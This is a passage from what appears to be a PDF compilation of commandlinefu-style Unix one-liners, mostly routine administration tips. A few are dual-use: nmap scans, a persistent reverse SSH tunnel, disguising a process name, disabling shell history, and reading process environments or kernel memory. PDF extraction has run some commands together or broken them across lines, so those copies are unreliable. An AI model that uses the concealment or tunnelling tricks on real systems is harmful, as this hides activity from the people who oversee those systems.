rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/'
poorly.named.file.s01e01.avi
# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip >
"/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
# check open ports
lsof -Pni4 | grep LISTEN

# Find Duplicate Files (based on MD5 hash)


find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen
-t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c
$tmpfile
# Save an HTML page, and covert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
# DELETE all those duplicate files but one based on md5 hash comparision in the current
directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,
$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v -# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo
swapon /swapfile
# Relocate a file or directory, but keep it accessible on the old location throug a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
# a short counter
yes '' | cat -n
# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO
CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &

18 / 658

All UNIX COMMANDS


# Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host
# git remove files which have been deleted
git rm $(git ls-files --deleted)
# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip
# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>
# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;
# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open
# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;
# Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log
# Remove a range of lines from a file
sed -i <file> -re '<start>,<end>d'
# Extract audio from Flash video (*.flv) as mp3 file
ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3
# convert from hexidecimal or octal to decimal
echo $((0x1fe)) $((033))
# Convert seconds into minutes and seconds
echo 'obase=60;299' | bc
# Share your terminal session real-time
mkfifo foo; script -f foo
# Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}
# Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +
# df without line wrap on long FS name
df -P | column -t

# Recover tmp flash videos (deleted immediately by the browser plugin)


for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" |
cut -d' ' -f1`; done
# send a circular
echo "dear admin, please ban eribsskog" | wall
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts

19 / 658

All UNIX COMMANDS


# List all open ports and their owning executables
lsof -i -P | grep -i "listen"
# Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf
# Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'
# download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf # Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@serverbar.com//etc/snmp/snmpd.conf
# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl
"http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y
%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
# Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.
# Pretty Print a simple csv in the command line
column -s, -t <tmp.csv
# Ultimate current directory usage command
ncdu
# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
tr : '\n' <<<$PATH
# bash: hotkey to put current commandline to text-editor
bash-hotkey: <CTRL+x+e>
# Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .
01; done
# Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo
\e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}
# Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
# Search for commands from the command line
clfu-seach <search words>
# How to run X without any graphics hardware

20 / 658

All UNIX COMMANDS


startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on
# clear current line
CTRL+u
# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5

# Pipe STDOUT to vim


tail -1000 /some/file | vim # Terminate a frozen SSH-session
RETURN~.
# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
# Check if your ISP is intercepting DNS queries
dig +short which.opendns.com txt @208.67.220.220
# Show permissions of current directory and all directories upwards to /
namei -m $(pwd)
# move you up one directory quickly
shopt -s autocd
# Hide the name of a process listed in the `ps` output
exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
# Create a local compressed tarball from remote host directory
ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz
# save man-page as pdf
man -t awk | ps2pdf - awk.pdf
# Gets the english pronunciation of a phrase
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
# List by size all of the directories in a given tree.
du -h /path | sort -h
# List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/
&& print'
# Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# All IP connected to my host
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
# rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4
user@domain.com:~/file.tgz .

21 / 658

All UNIX COMMANDS


# Figure out what shell you're running
echo $0
# Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xfz # Reuse last parameter
!$
# Make sudo forget password instantly
sudo -K
# open path with your default program (on Linux/*BSD)
xdg-open [path]
# Copy an element from the previous command
!:1-3
# View user activity per directory.
sudo lsof -u someuser -a +D /etc
# Mirror a directory structure from websites with an Apache-generated file indexes
lftp -e "mirror -c" http://example.com/foobar/
# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3";
done
# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade

# Convert text to picture


echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196
-resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3
text.gif
# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
# Remove executable bit from all files in the current directory recursively, excluding other
directories
chmod -R -x+X *
# Empty a file
truncate -s0 file
# grep -v with multiple patterns.
grep 'test' somefile | grep -vE '(error|critical|warning)'
# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
# redirect stdout and stderr each to separate files and print both to the screen
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
# Identify long lines in a file
awk 'length>72' file

22 / 658

All UNIX COMMANDS


# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url
# Use all the cores or CPUs when compiling
make -j 4
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort
-r
# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
# Run a command, store the output in a pastebin on the internet and place the URL on the
xclipboard
ls | curl -F 'sprunge=<-' http://sprunge.us | xclip
# Start screen in detached mode
screen -d -m [<command>]
# view the system console remotely
sudo cat /dev/vcs1 | fold -w 80
# Schedule a download at a later time
echo 'wget url' | at 01:00
# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir
# Using awk to sum/count a column of numbers.
cat count.txt | awk '{ sum+=$1} END {print sum}'
# Delete all empty lines from a file with vim
:g!/\S/d
# List the files any process is using
lsof +p xxxx
# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++}
print int($1)" "v[s]"\t"$2}'
# change directory to actual path instead of symlink path
cd `pwd -P`
# Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf

# Get http headers for an url


curl -I www.commandlinefu.com
# Check if system is 32bit or 64bit

23 / 658

All UNIX COMMANDS


arch
# check the status of 'dd' in progress (OS X)
CTRL + T
# vi a remote file
vi scp://username@host//path/to/somefile
# Use top to monitor only all processes with the same name fragment 'foo'
top -p $(pgrep -d , foo)
# delete command line last word
ctrl+w
# Remove a line from a file using sed (useful for updating known SSH server keys when they
change)
ssh-keygen -R <thehost>
# Show what PID is listening on port 80 on Linux
fuser -v 80/tcp
# Draw kernel module dependancy graph.
lsmod | awk 'BEGIN{print "digraph{"}{split($4, a, ","); for (i in a) print $1, "->",
a[i]}END{print "}"}'|display
# Color man pages
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
# Print without executing the last command that starts with...
!ssh:p
# Protect directory from an overzealous rm -rf *
cd <directory>; touch ./-i
# Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' '
-f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2$4)/1024)}'; sleep 1; done
# Find Duplicate Files (based on size first, then MD5 hash)
fdupes -r .
# List 10 largest directories in current directory
du -hs */ | sort -hr | head
# Rename all .jpeg and .JPG files to have .jpg extension
rename 's/\.jpe?g$/.jpg/i' *
# Blink LED Port of NIC Card
ethtool -p eth0
# pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog
--gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d"
/usr/share/dict/words`" 6 40;done
# See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location: *//p';}
# Stream YouTube URL directly to MPlayer

24 / 658

All UNIX COMMANDS


yt () mplayer -fs -quiet $(youtube-dl -g "$1")
# Running scripts after a reboot for non-root users .
@reboot <yourscript.sh>
# run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete
# Display BIOS Information
# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
# make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;

# use the previous commands params in the current command


!!:[position]
# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $
(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk
-F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/
&& tar -xf -"
# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a
# Copy with progress
rsync --progress file1 file2
# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123
# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e
"\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"
# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n
1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
# Move all images in a directory into a directory hierarchy based on year, month and day
based on exif information
exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir

25 / 658

All UNIX COMMANDS


# Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk
'{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
# Follow tail by name (fix for rolling logs with tail -f)
tail -F file
# Find if the command has an alias
type -all command
# Find last reboot time
who -b
# Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
# Show a config file without comments
egrep -v "^$|^[[:space:]]*#" /etc/some/file
# Display current bandwidth statistics
ifstat -nt
# Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
# Look up the definition of a word
curl dict://dict.org/d:something
# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q
# Redirect STDIN
< /path/to/file.txt grep foo

# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"
# Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \"
`cal` \"" testpic.jpg newtestpic.jpg
# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
# Run any GUI program remotely
ssh -fX <user>@<host> <program>
# Browse system RAM in a human readable form

26 / 658

All UNIX COMMANDS


sudo cat /proc/kcore | strings | awk 'length > 20' | less
# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d
# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion
# Quick glance at who's been using your system recently
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]
{2})/\1:/g; s/:$//;'`
# ping a range of IP addresses
nmap -sP 192.168.1.100-254
# Use last argument of last command
file !$
# Count files beneath current directory (including subfolders)
find . -type f | wc -l
# Generate QR code for a WiFi hotspot
qrencode -s 7 -o qr-wifi.png "WIFI:S:$(zenity --entry --text="Network name (SSID)"
--title="Create WiFi QR");T:WPA;P:$(zenity --password --title="Wifi Password");;"
# Run the built in PHP-server in current folder
php -S 127.0.0.1:8080
# Commandline document conversion with Libreoffice
soffice --headless -convert-to odt:"writer8" somefile.docx
# HourGlass
hourglass(){ trap 'tput cnorm' 0 1 2 15 RETURN;local s=$(($SECONDS +$1));(tput civis;while
(($SECONDS<$s));do for f in '|' '\' '-' '/';do echo -n "$f";sleep .2s;echo -n
$'\b';done;done;);}
# du with colored bar graph
t=$(df|awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max-depth=1|sed '$d'|sort -rn -k1 |
awk -v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c){c=a}}br=a/c;b=M*br;for(x=0;x<b;x+
+){printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}'
# What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }
# Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
# Save the list of all available commands in your box to a file
compgen -c | sort -u > commands
# monitor memory usage
watch vmstat -sSM
# Content search.

27 / 658

All UNIX COMMANDS


ff() { local IFS='|'; grep -rinE "$*" . ; }
# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v or ctrl-x ctrl-e

# Generate a Random MAC address


openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
# Purge configuration files of removed packages on
aptitude purge '~c'

debian based systems

# run command on a group of nodes in parallel


echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
# List open files that have no links to them on the filesystem
lsof +L1
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds |
gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
# kill process by name
pkill -x firefox
# find all active IP addresses in a network
nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"
# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$
(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c $COLUMNS) ; echo $str; done; }
# List all authors of a particular git project
git log --format='%aN' | sort -u
# recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +
# generate random password
pwgen -Bs 10 1
# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - >
${1}.pdf; }
# a trash function for bash

28 / 658

All UNIX COMMANDS


trash <file>
# List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum |
sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
# Search back through previous commands
Ctrl-R <search-text>
# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh
server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
# Replace spaces in filenames with underscores
rename -v 's/ /_/g' *
# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/
# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +
# Colored SVN diff
svn diff <file> | vim -R -

# Find broken symlinks and delete them


find -L /path/to/check -type l -delete
# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci
%Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
# List your largest installed packages.
wajig large
# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
# Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] &&
beep; sleep 1; done
# Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico
face.ppm

29 / 658

All UNIX COMMANDS


# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more
# Run the Firefox Profile Manager
firefox -no-remote -P
# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
# Add forgotten changes to the last git commit
git commit --amend
# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3
# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1
# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
# Download all mp3's listed in an html page
wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website]
# Google text-to-speech in mp3 format
t2s() { wget -q -U Mozilla -O $(tr ' ' _ <<< "$1"| cut -b 1-15).mp3
"http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=$(tr ' ' + <<< "$1")"; }
# Google verbatim search on your terminal
function google { Q="$@"; GOOG_URL='https://www.google.de/search?tbs=li:1&q=';
AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP
'\/url\?q=.+?&amp' | sed 's|/url?q=||; s|&amp||'); echo -e "${stream//\%/\x}"; }
# Swap the two last arguments of the current command line
<ctrl+e> <esc+t>
# Transfer a file to multiple hosts over ssh
pscp -h hosts.txt -l username /etc/hosts /tmp/hosts
# Verify/edit bash history command before executing it
shopt -s histverify
# Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg

# Query well known ports list


getent services <<service>>
# Create .pdf from .doc
oowriter -pt pdf your_word_file.doc

30 / 658

All UNIX COMMANDS


# Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
# Discovering all open files/dirs underneath a directory
lsof +D <dirname>
# One command line web server on port 80 using nc (netcat)
while true ; do nc -l 80 < index.html ; done
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
cls(){ printf "\33[2J";} or, if no printf, cat >cls;<ctrl-v><ctrl+[>[2J<enter><ctrl+d> cls()
{ cat cls;}
# Google text-to-speech in mp3 format
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo
$* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
# Down for everyone or just me?
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!
d;s/<[^>]*>//g' ; }
# A formatting test for David Winterbottom: improving commandlinefu for submitters
echo "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't
sing that one cause it doesn't rhyme."
# Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
# Compare copies of a file with md5
cmp file1 file2
# backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O
'https://api.del.icio.us/v1/posts/all'
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
# Display BIOS Information
dmidecode -t bios
# Disassemble some shell code
echo -ne "<shellcode>" | x86dis -e 0 -s intel
# List bash functions defined in .bash_profile or .bashrc
compgen -A function
# check the status of 'dd' in progress (OS X)
killall -INFO dd
# ignore the .svn directory in filename completion

31 / 658

All UNIX COMMANDS


export FIGNORE=.svn
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep
'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') |
mpg123 -; }
# Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD

# Change pidgin status


purple-remote "setstatus?status=away&message=AFK"
# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" <
"$2";}
# Vim: Switch from Horizontal split to Vertical split
^W-L
# Typing the current date ( or any string ) via a shortcut as if the keys had been actually
typed with the hardware keyboard in any application.
xvkbd -xsendevent -text $(date +%Y%m%d)
# Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B.
Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries,
Einstein";
# Clean your broken terminal
stty sane
# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu
# Change user, assume environment, stay in current dir
su -- user
# Save current layout of top
<Shift + W>
# Testing hard disk reading speed
hdparm -t /dev/sda
# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %
{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %
{size_download}bytes\n" -o/dev/null -s $URL
# List programs with open ports and connections
lsof -i

32 / 658

All UNIX COMMANDS


# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt
# disable history for current shell session
unset HISTFILE
# Share a 'screen'-session
screen -x
# Purge configuration files of removed packages on debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short
# Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
# Delete the specified line
sed -i 8d ~/.ssh/known_hosts
# Read the output of a command into the buffer in vim
:r !command
# Find broken symlinks
find . -type l ! -exec test -e {} \; -print
# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target
"while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
# find process associated with a port
fuser [portnumber]/[proto]
# cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .
01; done
# scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination

# add all files not under version control to repository


svn status |grep '\?' |awk '{print $2}'| xargs svn add
# Show how old your linux OS installtion is
sudo tune2fs -l $(df -h / |(read; awk '{print $1; exit}')) | grep -i created
# Discover the process start time
ps -eo pid,lstart,cmd
# Press enter and take a WebCam picture.
read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$
(date +%m_%d_%Y_%H_%M).jpeg
# grep processes list avoiding the grep itself
ps axu | grep [a]pache2
# Automatically find and re-attach to a detached screen session

33 / 658

All UNIX COMMANDS


screen -D -R
# ping as traceroute
for i in {1..30}; do

ping -t $i -c 1 google.com; done | grep "Time to live exceeded"

# what model of computer I'm using?


sudo dmidecode | grep Product
# tail a log over ssh
ssh -t remotebox "tail -f /var/log/remote.log"
# Extract tar content without leading parent directory
tar -xaf archive.tar.gz --strip-components=1
# sort the output of the 'du' command by largest first, using human readable output.
du -h --max-depth=1 |sort -rh
# Target a specific column for pattern substitution
awk '{gsub("foo","bar",$5)}1' file
# Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done
# Substrings a variable
var='123456789'; echo ${var:<start_pos>:<offset>}
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>'
-uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
# "Clone" a list of installed packages from one Debian/Ubuntu Server to another
